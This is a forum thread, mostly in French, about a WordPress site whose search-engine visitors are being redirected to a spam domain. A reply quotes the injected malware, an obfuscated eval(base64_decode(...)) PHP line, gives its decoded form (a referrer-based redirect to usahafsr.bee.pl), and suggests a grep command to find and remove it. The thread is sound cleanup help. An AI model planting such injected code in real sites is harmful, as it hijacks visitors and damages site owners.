Urgent problème inconu ( Redirection )

[iaspirateur]

Bonjour
il y a un problème au niveau de mon site : http://iaspirateur.net
le site fonctionne correctement
mais chez les moteurs de recherches comme google il y a une redirection vers des autres sites
voir par exemple :
http://www.google.fr/#sclient=psy-ab&hl=fr&site=&source=hp&q=iaspirate ... 80&bih=718

mon site est redirigé vers par exemple : http://usahafsr.bee.pl/atp/?said=3333g&q=iaspirateur.net


2 eme ex :
http://www.google.fr/#sclient=psy-ab&hl=fr&source=hp&q=L%E2%80%99achat ... 80&bih=718


==> http://usahafsr.bee.pl/atp/?said=3333g&q=L%E2%80%99achat+d%E2%80%99un+ ... n+en+ligne

[zeb]

Connecte toi en FTP et regarde la date de modification de ton htaccess tu devrais trouver des trucs pas normaux. (surtout note la date et l'heure du fichier si "il n'est pas comme avant")

[iaspirateur]

# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName iaspirateur.net
AuthUserFile /home/iaspirat/public_html/_vti_pvt/service.pwd
AuthGroupFile /home/iaspirat/public_html/_vti_pvt/service.grp

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

[Garland220]

I had this problem, and found the following code injected into many php files:

Code: Tout sélectionner

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvb2dsZSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ5YW5kZXgucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibWFpbC5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly91c2FoYWZzci5iZWUucGwvIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));


Decoded:

Code: Tout sélectionner

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"yandex.ru") or stristr($referer,"rambler.ru") or stristr($referer,"mail.ru") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live")) {
        if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                header("Location: http://usahafsr.bee.pl/");
                exit();
        }
}
}


do a ' grep -R "eval(base64_decode(" ./ ' on the site folder and find where they are, then remove those lines.